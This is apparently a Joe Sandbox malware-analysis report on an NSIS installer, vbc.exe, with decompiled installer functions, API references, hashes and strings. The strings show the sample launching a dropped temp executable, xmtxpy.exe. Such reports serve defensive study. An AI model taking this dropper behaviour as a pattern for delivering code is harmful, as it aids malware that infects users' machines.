0x00401830
0x00401830
0x00401831
0x0040184e
0x00402886
0x00402886
0x00402886
0x00401833
0x00401833
0x00401834
0x00401492
0x00402200
0x00402200
0x00402200
0x00401831
0x0040182a
0x00402888
0x0040288c
0x0040288c
0x0040185e
0x00401863
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x004021fb
0x00000000
0x004021fb
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000000,00000000,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405A85: lstrcpynA.KERNEL32(?,?,00000400,00403293,fwwmjbqpxzax Setup,NSIS Error), ref: 00405A92

Part of subcall function 00404E23: lstrlenA.KERNEL32(0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000,?), ref: 00404E5C
Part of subcall function 00404E23: lstrlenA.KERNEL32(00402C3C,0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000), ref: 00404E6C
Part of subcall function 00404E23: lstrcatA.KERNEL32(0041FC70,00402C3C,00402C3C,0041FC70,00000000,00000000,00000000), ref: 00404E7F
Part of subcall function 00404E23: SetWindowTextA.USER32(0041FC70,0041FC70), ref: 00404E91
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EB7
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404ED1
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EDF

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401761
C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd, xrefs: 00401750, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
API String ID: 1941528284-1376950140
Opcode ID: ba0b5d2c7ef09039fa2985dd5c3eead3d8f39d7c1153f1f4a7a5f687554637de
Instruction ID: c3a7f6530b99602e8ac3371ca3d410005e8cb954db153f1edc9c693d5e31c606
Opcode Fuzzy Hash: ba0b5d2c7ef09039fa2985dd5c3eead3d8f39d7c1153f1f4a7a5f687554637de
Instruction Fuzzy Hash: 4541AD31A00515BACB10BBB5DD86DAF3679EF45369B20433BF511B20E1D77C8A418EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402F01 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00402F01(void* __ecx, void _a4, void* _a8, void* _a12, long _a16) {
				long _v8;
				intOrPtr _v12;
				void _t31;
				intOrPtr _t32;
				int _t35;
				long _t36;
				int _t37;
				long _t38;
				int _t40;
				int _t42;
				long _t43;
				long _t44;
				intOrPtr _t51;
				long _t55;
				long _t57;

				_t31 = _a4;
				if(_t31 >= 0) {
					_t51 =  *0x423ef8; // 0x135a
					_t44 = _t31 + _t51;
					 *0x41703c = _t44;
					SetFilePointer( *0x409014, _t44, 0, 0); // executed
				}
				_t57 = 4;
				_t32 = E0040302C(_t57);
				if(_t32 >= 0) {
					_t35 = ReadFile( *0x409014,  &_a4, _t57,  &_v8, 0); // executed
					if(_t35 == 0 || _v8 != _t57) {
						L23:
						_push(0xfffffffd);
						goto L24;
					} else {
						 *0x41703c =  *0x41703c + _t57;
						_t32 = E0040302C(_a4);
						_v12 = _t32;
						if(_t32 >= 0) {
							if(_a12 != 0) {
								_t36 = _a4;
								if(_t36 >= _a16) {
									_t36 = _a16;
								}
								_t37 = ReadFile( *0x409014, _a12, _t36,  &_v8, 0); // executed
								if(_t37 == 0) {
									goto L23;
								} else {
									_t38 = _v8;
									 *0x41703c =  *0x41703c + _t38;
									_v12 = _t38;
									goto L22;
								}
							} else {
								if(_a4 <= 0) {
									L22:
									_t32 = _v12;
								} else {
									while(1) {
										_t55 = 0x4000;
										if(_a4 < 0x4000) {
											_t55 = _a4;
										}
										_t40 = ReadFile( *0x409014, 0x413038, _t55,  &_v8, 0); // executed
										if(_t40 == 0 || _t55 != _v8) {
											goto L23;
										}
										_t42 = WriteFile(_a8, 0x413038, _v8,  &_a16, 0); // executed
										if(_t42 == 0 || _a16 != _t55) {
											_push(0xfffffffe);
											L24:
											_pop(_t32);
										} else {
											_t43 = _v8;
											_v12 = _v12 + _t43;
											_a4 = _a4 - _t43;
											 *0x41703c =  *0x41703c + _t43;
											if(_a4 > 0) {
												continue;
											} else {
												goto L22;
											}
										}
										goto L25;
									}
									goto L23;
								}
							}
						}
					}
				}
				L25:
				return _t32;
			}

0x00402f06
0x00402f10
0x00402f12
0x00402f19
0x00402f1d
0x00402f28
0x00402f28
0x00402f30
0x00402f32
0x00402f39
0x00402f55
0x00402f59
0x00403022
0x00403022
0x00000000
0x00402f68
0x00402f6b
0x00402f71
0x00402f78
0x00402f7b
0x00402f84
0x00402ff1
0x00402ff7
0x00402ff9
0x00402ff9
0x0040300b
0x0040300f
0x00000000
0x00403011
0x00403011
0x00403014
0x0040301a
0x00000000
0x0040301a
0x00402f86
0x00402f89
0x0040301d
0x0040301d
0x00402f8f
0x00402f94
0x00402f94
0x00402f9c
0x00402f9e
0x00402f9e
0x00402faf
0x00402fb3
0x00000000
0x00000000
0x00402fc7
0x00402fcf
0x00402fed
0x00403024
0x00403024
0x00402fd6
0x00402fd6
0x00402fd9
0x00402fdc
0x00402fdf
0x00402fe9
0x00000000
0x00402feb
0x00000000
0x00402feb
0x00402fe9
0x00000000
0x00402fcf
0x00000000
0x00402f94
0x00402f89
0x00402f84
0x00402f7b
0x00402f59
0x00403025
0x00403029

APIs

SetFilePointer.KERNELBASE(00409128,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EAD,000000FF,00000000,00000000,00409128,00007DE4), ref: 00402F28
ReadFile.KERNELBASE(00409128,00000004,00007DE4,00000000,00000004), ref: 00402F55
ReadFile.KERNELBASE(00413038,00004000,00007DE4,00000000,00409128), ref: 00402FAF
WriteFile.KERNELBASE(00000000,00413038,00007DE4,000000FF,00000000), ref: 00402FC7

Strings

80A, xrefs: 00402F8F

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: 80A
API String ID: 2113905535-195308239
Opcode ID: 1d0c5bb9ecfe910818843e6bf7809c02e5eaef0b1ff428f1de7b4674f3045140
Instruction ID: 41b23491bffeaa1753be022b97a7ffae9df7beca0cc47644b0b6bde15745b2e9
Opcode Fuzzy Hash: 1d0c5bb9ecfe910818843e6bf7809c02e5eaef0b1ff428f1de7b4674f3045140
Instruction Fuzzy Hash: 91310B31901209EFDF21CF55DE84DAE7BB8EB453A5F20403AF504E61E0D2749E41EB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040302C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040302C(intOrPtr _a4) {
				long _v4;
				void* __ecx;
				intOrPtr _t12;
				intOrPtr _t13;
				signed int _t14;
				void* _t16;
				void* _t17;
				long _t18;
				int _t21;
				intOrPtr _t22;
				intOrPtr _t34;
				long _t35;
				intOrPtr _t37;
				long _t40;
				intOrPtr _t46;
				intOrPtr _t47;

				_t35 =  *0x41703c; // 0x56a38
				_t37 = _t35 -  *0x40afa8 + _a4;
				 *0x423eac = GetTickCount() + 0x1f4;
				if(_t37 <= 0) {
					L23:
					E00402BC5(1);
					return 0;
				}
				E004031DA( *0x41f04c);
				SetFilePointer( *0x409014,  *0x40afa8, 0, 0); // executed
				 *0x41f048 = _t37;
				 *0x417038 = 0;
				while(1) {
					L2:
					_t12 =  *0x417040; // 0x480d0
					_t34 = 0x4000;
					_t13 = _t12 -  *0x41f04c;
					if(_t13 <= 0x4000) {
						_t34 = _t13;
					}
					_t14 = E004031A8(0x413038, _t34); // executed
					if(_t14 == 0) {
						break;
					}
					 *0x41f04c =  *0x41f04c + _t34;
					 *0x40afc8 = 0x413038;
					 *0x40afcc = _t34;
					while(1) {
						_t46 =  *0x423eb0; // 0x8c0fa0
						if(_t46 != 0) {
							_t47 =  *0x423f40; // 0x0
							if(_t47 == 0) {
								_t22 =  *0x41f048; // 0x19be0
								 *0x417038 = _t22 -  *0x41703c - _a4 +  *0x40afa8;
								E00402BC5(0);
							}
						}
						 *0x40afd0 = 0x40b038;
						 *0x40afd4 = 0x8000; // executed
						_t16 = E00405E9D(0x40afb0); // executed
						if(_t16 < 0) {
							break;
						}
						_t40 =  *0x40afd0 - 0x40b038;
						if(_t40 == 0) {
							if( *0x40afcc != 0 || _t34 == 0) {
								break;
							} else {
								L17:
								_t18 =  *0x41703c; // 0x56a38
								if(_t18 -  *0x40afa8 + _a4 > 0) {
									goto L2;
								}
								SetFilePointer( *0x409014, _t18, 0, 0);
								goto L23;
							}
						}
						_t21 = WriteFile( *0x409014, 0x40b038, _t40,  &_v4, 0); // executed
						if(_t21 == 0 || _t40 != _v4) {
							_push(0xfffffffe);
							L22:
							_pop(_t17);
							return _t17;
						} else {
							 *0x40afa8 =  *0x40afa8 + _t40;
							if( *0x40afcc != 0) {
								continue;
							}
							goto L17;
						}
					}
					_push(0xfffffffd);
					goto L22;
				}
				return _t14 | 0xffffffff;
			}

0x00403030
0x0040303d
0x00403050
0x00403055
0x00403196
0x00403198
0x00000000
0x0040319e
0x00403061
0x00403074
0x0040307a
0x00403080
0x0040308b
0x0040308b
0x0040308b
0x00403090
0x00403095
0x0040309d
0x0040309f
0x0040309f
0x004030a8
0x004030af
0x00000000
0x00000000
0x004030b5
0x004030bb
0x004030c1
0x004030c7
0x004030c7
0x004030cd
0x004030cf
0x004030d5
0x004030d7
0x004030ed
0x004030f2
0x004030f7
0x004030d5
0x004030fd
0x00403103
0x0040310d
0x00403114
0x00000000
0x00000000
0x0040311c
0x0040311e
0x00403158
0x00000000
0x0040315e
0x0040315e
0x0040315e
0x00403171
0x00000000
0x00000000
0x00403180
0x00000000
0x00403180
0x00403158
0x0040312e
0x00403136
0x0040318d
0x00403193
0x00403193
0x00000000
0x0040313e
0x0040313e
0x0040314a
0x00000000
0x00000000
0x00000000
0x00403150
0x00403136
0x00403191
0x00000000
0x00403191
0x00000000

APIs

GetTickCount.KERNEL32(00000000,00000004,?,00000000,?,00402F37,00000004,00000000,00000000,00000000,?,?,?,00402EAD,000000FF,00000000), ref: 00403041

Part of subcall function 004031DA: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E86,00007DE4), ref: 004031E8

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F37,00000004,00000000,00000000,00000000,?,?,?,00402EAD,000000FF,00000000), ref: 00403074
WriteFile.KERNELBASE(0040B038,?,00000000,00000000,00413038), ref: 0040312E
SetFilePointer.KERNEL32(00056A38,00000000,00000000,00413038,00004000,?,00000000,?,00402F37,00000004,00000000,00000000,00000000,?,?), ref: 00403180

Strings

80A, xrefs: 004030A1

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: 80A
API String ID: 2146148272-195308239
Opcode ID: 492b146ea58c14309b76aad4efb9c222274e911e7d047196bd2092e933975ded
Instruction ID: 8653c145dc750015188d6a9afa30315cb9c5a6a6900809742879fa1bd1138a56
Opcode Fuzzy Hash: 492b146ea58c14309b76aad4efb9c222274e911e7d047196bd2092e933975ded
Instruction Fuzzy Hash: 74417FB2504302AFD7109F19EE8496A3FBCF748396710813BE511B62F1C7386A559BAE

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029E8(0xfffffff0);
				_t10 = E0040560C(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E004055A3(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405A85("C:\\Users\\Albus\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x00402156
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x00402880
0x0040288c

APIs

Part of subcall function 0040560C: CharNextA.USER32(004053BE), ref: 0040561A
Part of subcall function 0040560C: CharNextA.USER32(00000000), ref: 0040561F
Part of subcall function 0040560C: CharNextA.USER32(00000000), ref: 0040562E

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-2935972921
Opcode ID: b22028777b76ff0adb18f2892ab6001a383c6b987e8d30e1b3724520259a3699
Instruction ID: 11ba4fe5436512bc7837d50811c3794abd92905400bb47a2e3f09ad75438aea6
Opcode Fuzzy Hash: b22028777b76ff0adb18f2892ab6001a383c6b987e8d30e1b3724520259a3699
Instruction Fuzzy Hash: B3010431908150AFDB116FB51D44D7F67B0AA56365768073BF491B22E2C63C4942D62E

Uniqueness

Uniqueness Score: -1.00%

Function 0040578B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040578B(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x0040578f
0x00405795
0x00405796
0x00405796
0x00405797
0x0040579e
0x004057a8
0x004057b5
0x004057b8
0x004057c0
0x00000000
0x00000000
0x004057c4
0x00000000
0x00000000
0x004057c6
0x00000000
0x004057c6
0x00000000

APIs

GetTickCount.KERNEL32("C:\Users\Public\vbc.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403223,1033,C:\Users\user\AppData\Local\Temp\), ref: 0040579E
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 004057B8

Strings

nsa, xrefs: 00405797
C:\Users\user\AppData\Local\Temp\, xrefs: 0040578B, 0040578E
"C:\Users\Public\vbc.exe" , xrefs: 00405792

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\Public\vbc.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1498418707
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 4fcdc00fff711095840056c8ed2a58f2bfde19b521d5dac465ae6a1bf3f6778c
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: F9F0A736348304B6D7104E55DC04B9B7F69DF91750F14C02BFA449B1C0D6B0995497A5

Uniqueness

Uniqueness Score: -1.00%

Function 004052E5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004052E5(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x4224a0->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x4224a0,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x004052ee
0x0040530a
0x00405312
0x00405317
0x00000000
0x0040531d
0x00405321

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A0,Error launching installer), ref: 0040530A
CloseHandle.KERNEL32(?), ref: 00405317

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004052E5
Error launching installer, xrefs: 004052F8

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-3894416041
Opcode ID: 6b6a0bc2a3a2861d1b4fb8cb28cdb7ee12dd8b27d4ddea3b465ed8bf02dd5c13
Instruction ID: 638c90c2c8bd3d8652662e5a24b63cb160f6dc818783434175b306b50d96cec4
Opcode Fuzzy Hash: 6b6a0bc2a3a2861d1b4fb8cb28cdb7ee12dd8b27d4ddea3b465ed8bf02dd5c13
Instruction Fuzzy Hash: 32E0ECB4A00209BFDB00AF64ED09B6F7BBCFB04348F808522A911E2150D7B4E8148A69

Uniqueness

Uniqueness Score: -1.00%

Function 00405659 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00405659(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00405A85(0x4218a0, _a4);
				_t21 = E0040560C(0x4218a0);
				if(_t21 != 0) {
					E00405CE3(_t21);
					if(( *0x423eb8 & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x4218a0;
						while(1) {
							_t11 = lstrlenA(0x4218a0);
							_push(0x4218a0);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E00405D7C();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E004055BF(0x4218a0);
								continue;
							} else {
								goto L1;
							}
						}
						E00405578();
						_t16 = GetFileAttributesA(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405665
0x00405670
0x00405674
0x0040567b
0x00405687
0x00405693
0x00405693
0x004056ab
0x004056ac
0x004056b3
0x004056b4
0x00000000
0x00000000
0x00405697
0x0040569e
0x004056a6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040569e
0x004056b6
0x004056bc
0x00000000
0x004056ca
0x00405689
0x0040568d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040568d
0x00405676
0x00000000

APIs

Part of subcall function 00405A85: lstrcpynA.KERNEL32(?,?,00000400,00403293,fwwmjbqpxzax Setup,NSIS Error), ref: 00405A92

Part of subcall function 0040560C: CharNextA.USER32(004053BE), ref: 0040561A
Part of subcall function 0040560C: CharNextA.USER32(00000000), ref: 0040561F
Part of subcall function 0040560C: CharNextA.USER32(00000000), ref: 0040562E

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,?,?,74EC13E0,004053BE,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 004056AC
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,74EC13E0,004053BE,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 004056BC

Strings

C:\, xrefs: 0040565F, 00405664, 0040566A, 004056A5, 004056AB, 004056B3, 004056BB

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 45f9fc393155a5db5d7088df542a2f6c776c74327cf868b98864bd445eec5352
Instruction ID: 45da588c54f8925d2f58c8e200b054ed71ba1ecc9485bcb26325529b6e95793d
Opcode Fuzzy Hash: 45f9fc393155a5db5d7088df542a2f6c776c74327cf868b98864bd445eec5352
Instruction Fuzzy Hash: 4FF02D21604D5525D32222355C09FAF1B05CE863143994E3BF858B12D6C63D89428CAD

Uniqueness

Uniqueness Score: -1.00%

Function 004031F1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004031F1(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\Albus\\AppData\\Local\\Temp\\";
				E00405CE3(_t6);
				_t2 = E004055E5(_t6);
				if(_t2 != 0) {
					E00405578(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E0040578B("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x004031f2
0x004031f8
0x004031fe
0x00403205
0x0040320a
0x00403212
0x0040321e
0x00403224
0x00403208
0x00403208
0x00403208

APIs

Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D3B
